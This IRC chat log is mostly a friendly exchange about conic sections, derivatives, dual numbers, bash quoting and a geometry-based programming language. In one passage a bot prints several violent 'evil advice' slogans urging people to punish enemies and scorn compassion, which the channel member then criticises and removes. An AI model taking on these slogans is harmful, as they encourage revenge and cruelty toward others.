21:48:25 <hppavilion[1]> Or perhaps a language based on neither Algebraic Geometry nor Geometric Algebra, but based on both Algebra and Geometry independently
21:48:27 <tswett> I guess I'd appreciate an algebraic geometry textbook that's at a lower level than the one I looked at.
21:48:38 <tswett> The textbook I read assumed you were familiar with rings.
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21:50:30 <myname> well, if you don't need to proof things, you can handle them like fields most of the time
21:50:51 <myname> in thst case i am pretty sure you ARE familiar with rings
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21:55:22 <tswett> Besides, we only ever use, like, four rings anyway.
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21:55:31 <tswett> Reals, complexes, real polynomials, complex polynomials.
21:56:22 <tswett> Maybe subrings and quotients of those.
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22:02:20 <hppavilion[1]> Should I use unicode in my geometric language, or should I confine it to ASCII for typability purposes?
22:05:35 <hppavilion[1]> I think I'll confine it to ascii, perhaps with optional unicode
22:07:46 <hppavilion[1]> What should I call R-like vectors in this language? I can't call them vectors, because those are vectors in the mathematical sense, and
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22:29:23 <zzo38> Confine to ASCII, with optional Unicode support if you wish.
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22:54:05 <hppavilion[1]> Should I use \ as line intersection, or /\, or something else?
23:05:18 <hppavilion[1]> Or I guess I could use +, but that's used for addition and might get a tiny bit confusing
23:18:36 <zzo38> (I would recommend that invalid UTF-8 should be allowed in comments though, even if nowhere else in the program)
23:20:56 <tswett> Hmm. For my programming languages, I was thinking I'd define a program as being a sequence of Unicode characters. Theoretically, this means that it's impossible for a UTF-8-encoded program to contain invalid UTF-8.
23:21:05 <tswett> If something contains invalid UTF-8, that means it's not UTF-8-encoded.
23:28:14 <hppavilion[1]> Here's what I have so far: https://docs.google.com/document/d/1sEyRHE3CLyVNwrkh-jsL32MIhtrdUjZ7WMVV8MAd2Kw/edit?usp=sharing
23:28:29 <hppavilion[1]> No actual docs, just information on operations and how you create objects in the form of big tables
23:31:51 <hppavilion[1]> (the final version will either be HTML or a PDF, depending on how I'm feeling that day. Or maybe just plain TeX under the principal of "if you can't either use TeX to compile to docs or read plain TeX yourself, you shouldn't be using my programming language")
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23:39:37 <hppavilion[1]> Just want to make sure people are aware it exists.
23:39:58 <tswett> Do you know any Haskell, by the way?
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23:42:03 <zzo38> TeX should be fine since it would not be too difficult to read, and can be compiled using TeX into DVI and any other formats needed (PCL, PBM, PostScript, PDF, etc); if no macros and fonts are used other than the "plain" macros, the standard Computer Modern fonts, and any others that are provided with the document, then it can be worked very easily.
23:42:38 <tswett> You know what would be interesting? Creating an ellipse with a specific circumference.
23:44:32 <hppavilion[1]> zzo38: My point was that I should use TeX so that people who don't know how to TeX can't learn the language and give up before starting, such that the community for the language consists only of people smart enough to at /least/ compile TeX.
23:45:39 <hppavilion[1]> tswett: Oh, and you can just use Google Docs' "suggest" feature if you weren't aware, though it is perfectly acceptable just to inform me here
23:48:06 <hppavilion[1]> tswett: Oh, that was a double trap: Not only is /finding/ the circumference of an ellipse hard (in this case, "hard" is formally defined as "involving an infinite series"); there are an infinite number of ellipses with a given circumference AFAIMO
23:49:19 <tswett> Yeah, you'd have to specify the eccentricity and... angle, I guess, somehow.
23:49:33 <tswett> hppavilion[1]: now, are you familiar with how conic sections are defined by polynomials of a certain form?
23:50:01 <hppavilion[1]> tswett: I suspect that that's second-semester Algebra II, so no
23:50:18 <hppavilion[1]> Unless you mean like r**2=x**2+y**2, in which case yes
23:50:51 <tswett> I learned it in Pre-Calculus, actually.
23:50:52 <tswett> ax^2 + bxy + cy^2 + dx + ey + f = 0
23:50:55 <hppavilion[1]> tswett: I think the only way to create an angled shape in Euclid thus far is to use the theta transformation function
23:52:27 <tswett> The general form of a conic section.
23:53:05 <tswett> All ellipses can be specified that way, and all parabolas and hyperbolas.
23:53:11 <hppavilion[1]> Conic section including just Circles and Ellipses (obviously, circles are a subset of ellipses), or including also hyperbolas and parabolas
23:53:28 <tswett> And also a couple of things that aren't conic sections, too.
23:53:46 <tswett> Namely: nothing; a single point; a line; the union of two lines. I think that's it.
23:53:47 <int-e> like pairs of parallel lines
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23:54:15 <hppavilion[1]> ax**2+bx+c is ax**2+bxy+cy**2+dx+ey+f=0 with some of the variables renamed and moved around, and some of the coefficients equal to zero it looks like
23:54:40 <tswett> Quadratic equations are a special case of that.
23:54:48 <tswett> These two equations are equivalent:
23:54:55 <hppavilion[1]> tswett: Isn't the union of two lines either identical to (both) of those lines or equal to a single point?
23:55:12 <int-e> hppavilion[1]: no, that would be their intersection
23:55:16 <hppavilion[1]> Also, wouldn't nothing, a point, and a line be conic sections more-or-less
23:55:47 <tswett> And: ax^2 + 0xy + 0y^2 + bx + (-1)y + c
23:56:05 <hppavilion[1]> Because a point is just the tip of the cone, and a line is just a plane right along the edge of the cone, and nothing is a plane that doesn't intersect the cone at all
23:56:16 <tswett> hppavilion[1]: exactly!
23:57:01 <int-e> right, I believe the case of two parallel lines is the most degenerated one when you want to interpret it as a conic section.
23:57:11 <hppavilion[1]> Perhaps I should generalize Euclid to 3 dimensions, but still allow it to be interacted with in 2
23:57:38 <hppavilion[1]> Namely, with a "plane <plane equation>;" keyword/marker that changes the plane that equations define in
23:57:45 <int-e> oh and we better don't talk about the case a=b=c=d=e=f=0 at all
23:57:52 <tswett> Though it's actually impossible, I think, to have a plane and a couple cone that don't intersect.
23:57:55 <hppavilion[1]> Not technically imperative, though, because it's just syntactic sugar that happens to be the only way to do something
23:58:11 <tswett> Oh right, one more "degenerate" form of the equation: a = b = c = d = e = f = 0, which has the entire plane as a solution.
23:58:16 <tswett> s/couple cone/double cone/
23:58:28 <tswett> (Though "couple cone" would also make sense, as it happens...)
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23:59:02 <tswett> hppavilion[1]: are you familiar with the adjective "degenerate" in math?
23:59:03 <hppavilion[1]> Which I suppose is probably the mathematical definition of a cone that no one ever bothered to inform me about
23:59:14 <hppavilion[1]> tswett: Not particularly, but I've heard it before.
23:59:31 <hppavilion[1]> I believe it's when some variable approaches infinity or zero?
00:00:00 <tswett> A "degenerate whatever" is something that's not actually a whatever, but is "on the edge", so to speak.
00:00:05 <hppavilion[1]> (though I've heard it argued that infinity=0 because the number line is a circle of infinite radius)
00:00:33 <hppavilion[1]> So a degenerate ellipse is either a line or a point? Infinitely large or infinitely small?
00:00:59 <int-e> or perhaps two parallel lines or a parabola
00:01:16 <MDude> I would think the number ine being a circle would jsut make infinity equal negative infinity.
00:01:32 <tswett> Yeah, I suppose there are a lot of kinds of degenerate ellipses.
00:01:34 <MDude> But I guess it depends on how you handle overflows?
00:02:07 <tswett> Take an ellipse and reduce its minor radius towards 0, and it approaches being a line segment.
00:02:22 <tswett> Increase its major radius towards infinity, and it approaches being two parallel lines.
00:02:47 <hppavilion[1]> MDude: It depends on whether infinity is equal to 2*infinity and the like.
00:02:54 <int-e> move one of its focal points towards infinity and you may get a parabola
00:02:55 <tswett> Do both, it approaches being a line.
00:03:12 <tswett> And yeah. Keep one focus where it is and move the other towards infinity, and it approaches being a parabola.
00:03:19 <hppavilion[1]> So a line is a degenerate parabola is a degenerate ellipse?
00:03:43 <tswett> And I guess a ray is a degenerate parabola, too.
00:04:14 <hppavilion[1]> I wonder if there's a "god-formula" that produces something that isn't a degenerate anything xD
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00:05:52 <hppavilion[1]> A superellipse being x**n/a**n+y**n/b**n=r**n where n>2, and a square being where n=infinity
00:05:53 <tswett> I guess given any sort of object, you could probably think of a way to see that object as a degenerate something.
00:06:06 <hppavilion[1]> You know what we need to invent and start selling? The Mathemetician's Keyboard
00:06:15 <tswett> Let me see if I can just visualize that from the formula.
00:06:19 <hppavilion[1]> A USB-based keyboard extension that has additional symbols on it
00:07:00 <tswett> Yeah, I can, more or less.
00:07:04 <hppavilion[1]> tswett: A superellipse is, colloquially an ellipse with squared corners. Not perefectly round.
00:07:32 <hppavilion[1]> And the higher n is, the squarier it gets, and eventually it is infinity
00:09:37 <hppavilion[1]> I want to make a program that draws [uber]ellipses of the form x**n/a**m+y**o/b**p=r**q, where you can enter values for n, m, o, p, a, b, r, and q, but I don't know how to make a computer calculate those points short of brute force, which wouldn't work because of uncountable infinities and rounding errors and stuff
00:10:20 <tswett> There should be a few ways to do that.
00:10:26 -!- mauris_ has quit (Ping timeout: 260 seconds).
00:10:57 <tswett> Two of them come to mind.
00:11:35 <hppavilion[1]> I could use SymPy, but that doesn't come with all python distributions and is a bit cheaty, I feel.
00:11:37 <tswett> Number one, you could turn that into... crap, what are they called.
00:12:46 <hppavilion[1]> Alternatively, I could use a generalization of my ellipse drawing equation (that \oren\_ helped me with, at least for theta rotation) that can do superellipses, but I wouldn't know where to start because I only discovered how to draw circles (and by extension, ellipses) by accidentally fumbling in Scratch.
00:13:00 <tswett> So then you'd just calculate r for a bunch of values of theta and plot them.
00:13:36 <hppavilion[1]> AND it doesn't have any exponentiation used in it, so I wouldn't know where to put m/n/o/p/q
00:13:42 <tswett> Start with a point, and project it onto the uberellipse somehow.
00:13:52 <tswett> Which, again, I can think of two ways to do.
00:13:57 <tswett> Then plot that point you just got.
00:13:59 <hppavilion[1]> I could, of course, just roll my own CAS if I were feeling up to it.
00:14:25 <tswett> Find the slope of the uberellipse at that point, move the point a little bit in that direction, project it again. Plot that.
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00:16:04 <tswett> You know, calculating a**m, b**p, and r**q won't really do anything. You'll just get a constant anyway.
00:16:43 <tswett> Now, as for projecting it onto the uberellipse?
00:16:52 <tswett> Just use a little bit of calculus, that's all...
00:17:23 <tswett> hppavilion[1]: so, do you know what a derivative is?
00:17:57 <hppavilion[1]> It is, if I remember correctly, the slope of the plot of a function between two given points
00:18:17 <tswett> It's the slope of the plot of a function at *one* point.
00:18:17 <hppavilion[1]> Which are usually separated by an infinitessimal amount
00:19:08 <hppavilion[1]> I meant to imply with the second one, at least, that they are practically one point (but that that doesn't really work so we need two that behave as one)
00:19:08 <tswett> I think Newton and Leibniz thought of it as being the slope of the plot of the function between two points separated by an infinitesimal amount.
00:19:43 <hppavilion[1]> tswett: That's what the snazzy wikipedia diagram I last saw a couple months back gave me the impression of.
00:19:57 <tswett> (Always infinitesimal, not just usually.)
00:20:52 <tswett> Problem is, nobody for the longest time could figure out how to make this infinitesimal thing work.
00:22:06 <tswett> Eventually someone, I don't remember who, came up with a new definition of the derivative that *did* work formally.
00:22:26 <hppavilion[1]> I know as such because they were named by conway and invented by knuth (or was it vice versa?)
00:24:57 <tswett> Something tells me the definition will probably make sense to you.
00:25:14 <tswett> Suppose I want to find the slope of the function f(x) = x^2 at x = 3.
00:25:25 <hppavilion[1]> (Barring Arithmetic of the Functia, whihc may or may not be a calculus and I don't know which it is)
00:25:56 <tswett> Well, if you calculate the slope between x = 3 and x = 4, you'll get an approximation. If you calculate the slope between x = 3 and x = 3.1, you'll get a better approximation. Between x = 3 and x = 3.001, a better approximation still.
00:26:21 <tswett> Take the limit as the distance between the two points approaches zero.
00:26:26 <tswett> And that's the derivative.
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00:28:03 <tswett> In (more) symbols, it's the limit of (x^2 - 3^2)/(x - 3) as x approaches 3.
00:28:29 <tswett> Now... can you figure out what number that is?
00:29:15 <hppavilion[1]> More out of apathy and lack of necessity and lack of interesting name so far than due to not being smart enough xD
00:29:52 <tswett> You'd better understand it eventually; limits (in general, not just in the real numbers) turn out to be one of the most important concepts in higher mathematics. :D
00:30:17 <tswett> Essentially, the limit of a thing is whatever it is that that thing keeps getting closer to.
00:30:28 <hppavilion[1]> I google "Limit" and Duck Duck go suggests two (as well as a few other I didn't read) possibilities of what /kind/ of limit I was referring to in this order:
00:30:30 <tswett> Like, hey, consider this sequence: 4, 3.1, 3.01, 3.001, 3.0001, 3.00001, ...
00:31:01 <tswett> What do you figure the limit of that sequence is?
00:31:32 <tswett> 3.0...1 is definitely a natural guess, but it turns out that in the real numbers, there's no such thing.
00:31:48 <tswett> There are no infinitesimal real numbers, after all. Nor any infinite ones.
00:33:05 <tswett> Now, as for the limit of (x^2 - 3^2)/(x - 3) as x approaches 3...
00:33:10 <tswett> I dunno, can you figure out what that is?
00:35:51 <FireFly> Thanks to ECMA-48, my brain now reads BDSM as bidirectional support mode even though I know that's not what it means in most contexts :P
00:36:08 <FireFly> So maybe it's about limits in that!
00:36:29 <hppavilion[1]> for x=0, -9/-3=3, for x=1, 1-9/1-3=-8/-2=-4, for x=2 4-9/-1=-5/-1=5, so far I have made no progress because I was doing it wrong. Restarting
00:37:23 <tswett> How about for x = 3.00000001?
00:37:45 <hppavilion[1]> for x=2, 4-9/-1=-5/-1=5, for x=2.5, 6.25-9/-0.5=-3.25/-0.5=6.5
00:38:48 <tswett> By the way, do you know how to factor (x^2 - 3^2)?
00:40:50 <hppavilion[1]> For x=2.75, 2.75**2-9/-0.75=7.5625-9/-0.75=-2.5625/0.75~=-2.56/-0.75~=3.413
00:41:31 <hppavilion[1]> So x=2: 5, x=2.5: 6.5, x=2.75: 3.413. I made a mistake somewhere.
00:42:15 <hppavilion[1]> tswett: x**2-3**2 is a difference of two squares, so it's (x+3)(x-3)
00:42:53 <tswett> Right, so this expression is the same as (x + 3)(x - 3)/(x - 3).
00:42:59 <tswett> Is that expression equivalent to just (x + 3)?
00:43:22 <tswett> The first one is undefined at x = 3, the second one is not.
00:43:27 <tswett> But *apart* from that, yep.
00:43:56 <tswett> When we're taking the limit at 3, the expression's value at 3 doesn't matter.
00:44:02 <tswett> All that matters is its value *near* 3.
00:44:31 <tswett> So for all the values we're actually concerned about, (x + 3)(x - 3)/(x - 3) is equivalent to just (x + 3).
00:45:23 <hppavilion[1]> So Euclid now works in 3D, but it allows you to work in 2D with great simplicity; that is, though it's 3D, a 2D point can be specified that is equal to any 3D point that you wish
00:45:58 <tswett> And what's the limit of x + 3 as x approaches 3?
00:46:56 <tswett> I'm so impressed by your arithmetic skillz.
00:47:05 <tswett> So we've figured out that the derivative of the function f(x) = x^2 at x = 3 is 6.
00:47:25 <hppavilion[1]> tswett: Yay! Now I have a 0.001% advantage over everyone else in my future calculus (or maybe precalculus) classez!
00:48:22 <hppavilion[1]> tswett: Are you curious about how I got a 2D geometry language working in a 3D space?
00:48:45 <hppavilion[1]> Or did you figure it out already because I might've already explained it? xD
00:48:48 <tswett> Yeah, I am. Something about specifying a plane (or some other surface, perhaps) in the 3D space?
00:49:21 <tswett> Now, people who know calculus almost never actually take derivatives that way. There are two much easier ways of doing it.
00:49:26 <tswett> Only one of which is taught in high school.
00:49:38 <hppavilion[1]> You just use the "plane" keyword, followed by the formula for a plane, and you change the plane that future shapes defined exist on. And it's still declarative, because it's really just syntactic sugar
00:49:53 <hppavilion[1]> tswett: You aren't american, are you? Just wondering.
00:50:48 <hppavilion[1]> I was going to mention that it's american thanksgiving today for some reason. I don't know why.
00:50:58 <tswett> There's symbolic differentiation, where you apply a bunch of rules that they teach you in high school.
00:51:06 <hppavilion[1]> But only if you lived in a foreign country where you might not know. For some reason.
00:51:19 <tswett> Yup. I had the day off today for thanksgiving.
00:51:53 <tswett> I was actually planning to work today, but I changed my mind. :D
00:52:05 <tswett> The rules definitely aren't obvious.
00:52:08 <hppavilion[1]> Everyone should have a day off on thanksgiving. Thanksgiving is the american holiday I think all countries should have their own version of. It's a pleasant holiday.
00:52:26 <tswett> Although the rule for addition is pretty easy.
00:52:42 <tswett> Now, as you may know, the derivative of a function f is often called f'.
00:52:47 <tswett> Here's the addition rule:
00:52:56 <tswett> The derivative of f(x) + g(x) is f'(x) + g'(x).
00:53:02 <hppavilion[1]> Oh, you can ALSO sepecify a 2D shape on a plane /without/ changing hte default plane with "<shape> on plane <plane equation>"
00:53:27 <hppavilion[1]> I did know that. Or, well, that's the ASCIIized symbol for it.
00:53:39 <tswett> Yeah. The Unicode symbol is, uh, lemme rustle it up.
00:54:21 <tswett> Now, here's the product rule, in case you were wondering.
00:54:35 <tswett> The derivative of f(x) g(x) is f'(x) g(x) + f(x) g'(x).
00:55:13 <tswett> At some point in the future, you will look at that rule and say "well, yeah, duh."
00:55:53 <tswett> Anyway, the other method of differentiation.
00:55:59 <tswett> I think it's called automatic differentiation.
00:56:26 <tswett> Here's the idea. Take the real numbers, and add in a number called e, with the property that e^2 = 0.
00:56:39 <hppavilion[1]> Is that where you let Wolfram|Alpha do it for you? xD
00:57:13 <tswett> If you want to find the derivative of f at x, you start by evaluating f(x + e).
00:57:27 <tswett> So, how about the derivative of x^2 at x = 3?
00:58:10 <tswett> Start by evaluating (3 + e)^2 = 3^2 + 2(3)e + e^2 = 9 + 6e + e^2 = 9 + 6e.
00:58:21 <tswett> The derivative is the coefficient of e.
00:59:11 <tswett> And hey, guess what. It always works. At least... given any ordinary function on the real numbers.
01:00:33 <tswett> All right, how about the derivative of, I dunno, 5x^2 + 7x + 11? Plug in (x + e), and so you get 5(x + e)^2 + 7(x + e) + 11, which reduces as...
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01:00:54 <hppavilion[1]> tswett: Is there a way to generalize the dual numbers for automatic differentiation so it works on complex functions? Or no?
01:01:38 <tswett> 5x^2 + 2(5)xe + 5e^2 + 7x + 7e + 11. Drop the e^2 term and factor out e, it's 5x^2 + 7x + 11 + (10x + 7)e.
01:01:47 <tswett> The derivative of 5x^2 + 7x + 11 is 10x + 7.
01:02:03 <tswett> To generalize to the complex numbers, I think you don't even need to do anything. Just use exactly the same method.
01:02:21 <hppavilion[1]> Oooh, now we get polynomial/whatever-the-more-general-term-is derivatives. That looks fun.
01:02:40 <hppavilion[1]> Is automatic differentiation the one they never teach? If so, why the /fuck/ would they not teach us this?
01:02:55 <tswett> Well, in this particular case, symbolic differentiation would have been much easier.
01:03:12 <hppavilion[1]> Other than because making up new numbers is weird, and it's not like we've seen that kind of thing before.
01:03:27 <hppavilion[1]> It's not like they've /already/ taught me about i (though I already knew about it long before)
01:03:55 <tswett> I can do symbolic differentiation of that polynomial in my head in five seconds, because I know that the derivative of x^2 is 2x, the derivative of x is 1, and derivatives add together and multiply with constants nicely.
01:04:29 <tswett> Strangely, it turns out that calculus on the complex numbers is ultimately much *simpler* than calculus on the real numbers.
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01:04:52 <tswett> The reason for this is that all of the "nasty" cases in the real numbers are impossible to generalize to the complex numbers.
01:06:12 <tswett> In the complex numbers, if a function is differentiable at a point, then it is also differentiable on an entire disk surrounding that point, arbitrarily many times.
01:07:11 <tswett> Functions in the real numbers have no such property. A function can be differentiable just once. It can be differentiable at just one point!
01:10:28 <\oren\_> so regions of the plane where a complex function is differentiable can only be open sets?
01:16:09 <tswett> I honestly wonder if someone's going to see the output of `evil and actually take its advice.
01:16:18 <HackEgo> THEY HAVE MADE THEIR LAST MISTAKE. PUNISH THEM.
01:16:30 <tswett> Like... all of its advice, not just the parts that aren't actually evil.
01:16:35 <tswett> That would be pretty bad.
01:16:37 <HackEgo> SEIZE IT AND THRUST IT TO THE GROUND.
01:16:45 <tswett> Because it's bad advice.
01:17:30 <tswett> And... y'know, harmful to other people if taken.
01:17:38 <HackEgo> YOUR ENEMIES ARE WEAK. YOU ARE STRONG. OVERCOME.
01:17:42 <HackEgo> THEY HAVE MADE THEIR LAST MISTAKE. PUNISH THEM.
01:17:45 <HackEgo> THEY HAVE MADE THEIR LAST MISTAKE. PUNISH THEM.
01:17:49 <HackEgo> PAIN IS NOTHING. PAIN CANNOT STOP YOU.
01:17:52 <HackEgo> THEY HAVE MADE THEIR LAST MISTAKE. PUNISH THEM.
01:17:55 <HackEgo> COMPASSION. EMPATHY. MERE WEAKNESSES.
01:17:58 <tswett> There's not very much of it.
01:18:05 <HackEgo> 194 \ 295 \ 313 \ 455 \ 503 \ 602 \ 707 \ 714 \ 745 \ 960
01:18:14 <tswett> You've seen half of them.
01:19:02 <tswett> All right, let me take an extremely small vote, here.
01:19:08 <tswett> Should I add additional evil, or not?
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01:22:01 <zzo38> I say yes, because there isn't enough and therefore it repeat too much. But, my opinion also is to instead use a larger database and then just add the category tag on as well, such as "evil" and so on.
01:22:18 <zzo38> (You could even have more than one per each; and you could use SQLite too)
01:22:35 <hppavilion[1]> There. Euler has 5, 6, 7, 8, 8, 10, or 12 different ways to import things, depending on how you look at it. I think. Not sure I counted right.
01:23:44 <hppavilion[1]> You can do "import <module>", "import <module> and <module> and <module>, etc.", or a whole host of other things
01:24:10 <hppavilion[1]> Including importing from a module into an existing namespace with "<import statement> into <namespace>"
01:24:22 <hppavilion[1]> Now I have to go thanksgiving. I'll be back in a bit.
01:28:36 -!- quintopi1 has changed nick to quintopia.
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01:30:25 <tswett> All right... the fuck am I doing? I'm seriously thinking someone could look at this stuff, think about it, and turn into a mass murderer.
01:32:06 <tswett> There. I deleted all of the evil advice except one.
01:32:07 <HackEgo> cat "$(find evil -type f | shuf -n1)" | tr '[:lower:]' '[:upper:]'
01:32:25 <HackEgo> :-( \ 0 \ 113500 \ a \ a.o \ a.out \ argv.py \ autowelcome_status \ bdsmreclist \ bin \ blah \ blah \ blah \ blah \ blah \ blah \ canary \ cat \ Complaints \ :-D \ dc \ dog \ emoticons \ error.log \ etc \ evil \ factor \ faith \ fu \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness \ MaFV
01:32:45 <tswett> If people come to HackEgo seeking evil advice, they will be told only to kill puppies.
01:33:11 <\oren\> derp derp derp dedederp derp derp dederp derp derp dedederp derp derp
01:33:28 <\oren\> https://www.youtube.com/watch?v=51bhB7EKHdQ
01:34:17 <HackEgo> 1021) <Tanea> ...I'm organising a picnic on Facebook in rhyming couplets
01:35:16 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: good: not found
01:35:31 <tswett> `run echo 'cat "$(find good -type f | shuf -n1)"' > bin/good
01:36:25 <tswett> All right, someone give me a bunch of random 3-digit numbers.
01:36:40 <zzo38> Don't you have your own dice?
01:36:46 <tswett> 786 755 440 643 726 184 007 132 604 351. Thank you.
01:37:04 <tswett> `run echo 'Empathize. Always empathize.' > good/786
01:37:08 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/good: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/bin/good: cannot execute: Permission denied
01:37:13 <tswett> `run chmod +x bin/good
01:37:17 <HackEgo> Empathize. Always empathize.
01:37:33 <zzo38> Are you going to add AmigaMML into the list of software that is using tau instead of (or in addition to) pi?
01:38:31 <tswett> `run echo 'It takes strength to admit your own weaknesses.' > good/755
01:38:33 <zzo38> tswett: Still my opinion I think you should put all in one file and then make SQL query to select them (I have used ORDER BY RANDOM() LIMIT 1 to select entry at random; add the WHERE clause as well to select or deselect tags or other stuff
01:38:59 <tswett> But SQL is obsolete, man.
01:39:11 -!- hppavilion[1] has quit (Ping timeout: 264 seconds).
01:40:49 <tswett> `run echo 'Your friends are strong. Take their help.' > good/295
01:41:03 <tswett> I'm trying to think of a "good" suggestion corresponding to each "evil" suggestion.
01:41:30 <zzo38> Then maybe you should use the corresponding numbers too?
01:41:53 <Phantom_Hoover> tswett, you realise you'll have to downcase `good for symmetry
01:42:34 <tswett> `run echo 'Feel wronged? They made a mistake. See things from their side, and forgive them.' > 503
01:42:39 <tswett> zzo38: I'm doing that.
01:43:53 <tswett> Hm. evil/503 and evil/960 are pretty similar; they'd pretty much have the same corresponding "good" suggestion.
01:46:04 <tswett> `run echo 'There is a way out. Finding it will be difficult. It may be the hardest thing you've ever done. Find it anyway.' > good/544
01:46:04 <HackEgo> bash: -c: line 0: unexpected EOF while looking for matching `'' \ bash: -c: line 1: syntax error: unexpected end of file
01:46:21 <tswett> `run echo 'There is a way out. Finding it will be difficult. It may be the hardest thing you'\''ve ever done. Find it anyway.' > good/544
01:51:33 <zzo38> In SQL you can just write '' for a single ' and you don't have to do like that instead (I think also in Pascal you can write '' for a single ' too, but I am not sure)
01:54:04 <tswett> Of course, I could have just used double quotes around the whole thing.
01:54:14 <tswett> But man, single quotes are so snazzy.
01:54:31 <Phantom_Hoover> i remember sam hughes tried to figure out how to quote a generic string in bash
01:54:43 <tswett> `run echo "I found $20 on the ground the other day."
01:54:44 <HackEgo> I found 0 on the ground the other day.
01:54:45 <Phantom_Hoover> he concluded that you had to just put \ before every non-alphanumeric
01:55:27 <tswett> You're talking about the Canadian Minister of Militia and Defence during World War I, right?
01:55:42 <zzo38> If you use " in the shell scripts then it does other thing inside the quote too though anyways
01:57:50 <zzo38> (Such as the example above)
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02:04:12 <\oren\> `run echo I\ found\ \$20\ on\ the\ ground\ the\ other\ day
02:04:12 <HackEgo> I found $20 on the ground the other day
02:04:29 <\oren\> `run echo \"I\ found\ \$20\ on\ the\ ground\ the\ other\ day
02:04:30 <HackEgo> "I found $20 on the ground the other day
02:04:44 <\oren\> `run echo \"I\ found\ \$20\ on\ the\ ground\ the\ other\ day\"\ he\ said\.
02:04:45 <HackEgo> "I found $20 on the ground the other day" he said.
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02:07:06 <quintopia> print eval(chr(37).join([``'print eval(chr(37).join([``%s``]*2))[1:-1]'``]*2))[1:-1]
02:08:41 -!- andrew has joined.
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02:18:18 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
02:26:56 <HackEgo> [U+5DE3 CJK UNIFIED IDEOGRAPH-5DE3]
02:28:24 -!- boily has joined.
02:32:53 <\oren\> `` unidecode 底府度庫庭康建式役径待徒得 | sed -e 's/\(\[\|CJK\ \|UNIFIED \|IDEOGRAPH-[0-9A-F]\+\]\)/'
02:32:54 <HackEgo> sed: -e expression #1, char 50: unterminated `s' command \ close failed in file object destructor: \ sys.excepthook is missing \ lost sys.stderr
02:33:00 <\oren\> `` unidecode 底府度庫庭康建式役径待徒得 | sed -e 's/\(\[\|CJK\ \|UNIFIED \|IDEOGRAPH-[0-9A-F]\+\]\)//'
02:33:01 <HackEgo> U+5E95 CJK UNIFIED IDEOGRAPH-5E95] [U+5E9C CJK UNIFIED IDEOGRAPH-5E9C] [U+5EA6 CJK UNIFIED IDEOGRAPH-5EA6] [U+5EAB CJK UNIFIED IDEOGRAPH-5EAB] [U+5EAD CJK UNIFIED IDEOGRAPH-5EAD] [U+5EB7 CJK UNIFIED IDEOGRAPH-5EB7] [U+5EFA CJK UNIFIED IDEOGRAPH-5EFA] [U+5F0F CJK UNIFIED IDEOGRAPH-5F0F] [U+5F79 CJK UNIFIED IDEOGRAPH-5F79] [U+5F84 CJK UNIFIED IDEOGRA
02:33:05 <\oren\> `` unidecode 底府度庫庭康建式役径待徒得 | sed -e 's/\(\[\|CJK\ \|UNIFIED \|IDEOGRAPH-[0-9A-F]\+\]\)//g'
02:33:06 <HackEgo> U+5E95 U+5E9C U+5EA6 U+5EAB U+5EAD U+5EB7 U+5EFA U+5F0F U+5F79 U+5F84 U+5F85 U+5F92 U+5F97
02:36:13 <boily> he\\oren\. still kanjifying your font?
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02:43:59 <hppavilion[1]> boily: I'm making a usable programming language based on geometry!
02:46:30 <hppavilion[1]> boily: https://docs.google.com/document/d/1sEyRHE3CLyVNwrkh-jsL32MIhtrdUjZ7WMVV8MAd2Kw/edit?usp=sharing
02:48:09 <newsham> hppavilion[1]: too late. euclid alreayd did it.
02:48:32 <hppavilion[1]> newsham: The language is /called/ Euclid, so yeah xD
02:48:55 <newsham> but this other language was /made by/ euclid
02:54:42 <hppavilion[1]> newsham: Yes, but it can't be used to make a computer say "Hello, World"
02:56:31 <newsham> "H" has two parallel segments and a perpendicular segment between them
02:56:36 <newsham> I think we could construct this :)
02:56:45 <newsham> I don't see much more challenging in "ello, World"
02:58:15 <hppavilion[1]> newsham: Yes, but can Euclid's system to asyncronous socketry?
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03:00:28 <boily> fungot: is your socketry asynchronous?
03:00:28 <fungot> boily: if gdb doesn't work on paragraph answers to your questions as useful?
03:00:46 <hppavilion[1]> boily: Design question: When sets or vectors have an operation performed on them, they have special meanings where it's the operation done on each item in them relative to the other value. I want to have special operators marked that don't behave like this, namely </>/>=/<=/=/!= for sets, but I also want the normal meaning to be available. How should I go about this? My current best idea is to specially mark the operators with a symbol,
03:00:46 <hppavilion[1]> e.g. the $ prefix or a . suffix. What do you think, as a randomly selected opinion?
03:02:06 <boily> pointwise operators from Matlab, eg with vectors u and v, u .* v will produce pointwise multiplication of them.
03:02:40 <hppavilion[1]> But I want to use typable characters for subset/superset/etc, and <> seem like the ideal characters.
03:03:09 <hppavilion[1]> But unless there's some sneaky but logical workaround, the only way to make it work is with a special marker in the operator name
03:03:13 <boily> "c" for subset. ɔ might be harder to get :P
03:03:36 <boily> (and of course c̄ for proper subset.)
03:03:59 <boily> but enough silliness, I'm yawning my jaw off. time to sleep.
03:04:00 <hppavilion[1]> boily: But that's not easily typable, unless you're in the future using the Mathematician's Keyboard that I'm going to make someone start selling
03:04:23 <newsham> at least i'm not aware of any ancient greek socket implementation
03:04:25 <boily> you may want to check out the space cadet keyboard :D
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03:07:31 <hppavilion[1]> Which may or may not have killed the cat. Not the Nyan Cat, though.
03:35:33 <hppavilion[1]> What should I use for the ASCII midpoint operator?
03:35:55 <hppavilion[1]> Currently I'm using _|_, but that looks like perpendicular and, more importantly, is stupid
03:36:04 <hppavilion[1]> For that matter, what should I use for the unicode midpoint operator?
03:42:06 <\oren\> what's a midpoint operator?
03:42:34 <HackEgo> [U+0063 LATIN SMALL LETTER C] [U+0304 COMBINING MACRON]
03:47:50 <hppavilion[1]> \oren\: In Euclid, it's a unary operator that accepts a line and returns the point at the midpoint of the line
03:50:07 <hppavilion[1]> Oh, it doesn't accept a line, it accepts a segment
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03:51:10 <hppavilion[1]> I need a term that encompasses lines, rays, and segments
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03:53:55 <hppavilion[1]> \oren\: How about a symbol for perpendicular in ASCII?
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03:54:27 <hppavilion[1]> \oren\: Don't think it can have letters, and I'd avoid underscores
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04:13:14 <\oren\> added some kanji and ⇜⇝⇞⇟ which were missing from the arrows block
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04:37:56 <hppavilion[1]> \oren\: Miscellaneous Mathematical Symbols B is missing, in case you weren't aware
04:38:20 <hppavilion[1]> At least, RULE-DELAYED and REVERSE SOLIDUS WITH HORIZONTAL STROKE are.
